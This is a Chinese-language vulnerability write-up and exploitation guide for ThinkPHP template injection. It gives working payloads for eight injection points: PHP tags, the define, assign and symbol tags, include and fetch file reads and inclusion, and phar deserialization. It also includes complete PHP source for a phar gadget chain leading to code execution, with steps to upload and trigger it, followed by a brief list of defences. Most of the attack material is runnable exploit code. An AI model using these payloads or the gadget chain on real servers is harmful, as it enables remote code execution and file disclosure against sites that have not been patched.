thinkphp模版存在多种注入方式
字数 1276 2025-08-24 07:48:34
ThinkPHP 模板注入漏洞全面分析与利用指南
1. 漏洞概述
ThinkPHP 模板引擎(think-view 和 think-template 模块)存在多种注入方式,攻击者可以通过控制模板内容来执行任意代码、读取文件或进行反序列化攻击。这些漏洞主要影响 ThinkPHP 框架的模板渲染功能,特别是 display() 和 fetch() 方法。
2. 环境搭建
测试环境搭建步骤:
composer create-project topthink/think thinkphp8
cd thinkphp8
composer require topthink/think-view
3. 漏洞利用方式
3.1 使用 {php}{/php} 标签命令执行 (漏洞点1)
利用代码:
$template->display("{php}phpinfo(){/php}");
原理分析:
- 模板引擎解析 {php}{/php} 标签
- 将标签内容直接转换为 PHP 代码
- 写入缓存文件并包含执行
3.2 使用 PHP 短标签命令执行 (漏洞点2)
利用代码:
$template->display('111<?php phpinfo(); ?>');
// 或
$template->display('1111<?phpinfo()?>');
原理分析:
- 模板引擎对原生 PHP 标签过滤不足
- 直接保留标签内容并写入缓存文件
3.3 使用 include 标签实现文件操作 (漏洞点3)
文件包含执行:
$template->display("{include file='phpinfo.php' /}");
文件读取:
$template->display("{include file='file:///d:/1.txt' /}");
原理分析:
- 使用
file_get_contents读取文件内容 - 支持 file 协议绕过 is_file 检查
- 不支持 data://、php://input、php://filter 协议
3.4 使用 define 标签命令执行 (漏洞点3)
利用代码:
$template->display('{define name="MY_DEFINE_NAME" value="\'.phpinfo();}//"}');
原理分析:
- Cx 类处理内置标签时直接拼接参数到 PHP 代码中
- 类似的内置标签(如 assign)也存在此问题
3.5 使用 assign 标签命令执行 (漏洞点4)
利用代码:
$template->display('111{assign name="var" value="$_GET[\'2222\'];phpinfo();//"}');
访问方式:
http://127.0.0.1:8054/index.php/payload/payload/payloadhtml?2222=a
3.6 使用符号标签命令执行 (漏洞点5)
利用代码:
$template->display("{:url('user/profile');phpinfo()}");
3.7 使用 fetch 方法文件读取 (漏洞点6)
利用代码:
$template->fetch("file:///d:/1.txt");
3.8 使用 fetch 方法文件包含 (漏洞点7)
利用代码:
$template->fetch('D:/path/to/malicious.jpg');
前提条件:
- 需要上传包含恶意模板内容的文件(如 )
3.9 使用 fetch 方法反序列化 (漏洞点8)
利用代码:
$template->fetch('phar://D:/path/to/phar.jpg/test.txt');
限制条件:
- 仅适用于 ThinkPHP < 8 (PHP < 8) 环境
- 需要 phar.readonly = Off
- PHP 8 及以上版本 phar 元信息不再自动反序列化
4. 反序列化利用详细说明
4.1 生成恶意 phar 文件
<?php
namespace League\Flysystem\Cached\Storage {
class Psr6Cache {
private $pool;
protected $autosave = false;
public function __construct($exp){
$this->pool = $exp;
}
}
}
namespace think\log {
class Channel {
protected $logger;
protected $lazy = true;
public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think {
class Request {
protected $url;
public function __construct(){
$this->url = '<?php phpinfo(); exit(); ?>';
}
}
class App {
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request' => new Request()];
}
}
}
namespace think\view\driver {
class Php {}
}
namespace think\log\driver {
class Socket {
protected $config = [];
protected $app;
public function __construct(){
$this->config = [
'debug' => true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php, 'display'],
];
$this->app = new \think\App();
}
}
}
namespace {
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a". "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "33333");
$phar->stopBuffering();
}
4.2 利用步骤
- 生成 phar.phar 文件
- 重命名为 phar.jpg 上传
- 通过 fetch 方法触发反序列化
5. 漏洞影响范围
- 漏洞点1-7:影响所有 ThinkPHP 版本
- 漏洞点8:仅影响 ThinkPHP < 8 (PHP < 8) 环境
6. 防御措施
- 升级到最新版本 ThinkPHP
- 对用户输入的模板内容进行严格过滤
- 禁用危险的内置标签
- 设置 phar.readonly = On
- 对文件包含操作进行白名单限制
7. 总结
ThinkPHP 模板引擎由于对用户输入处理不当,存在多种注入方式。攻击者可以通过控制模板内容实现命令执行、文件读取和反序列化攻击。开发人员应严格验证用户输入,避免直接将用户可控数据传递给模板渲染方法。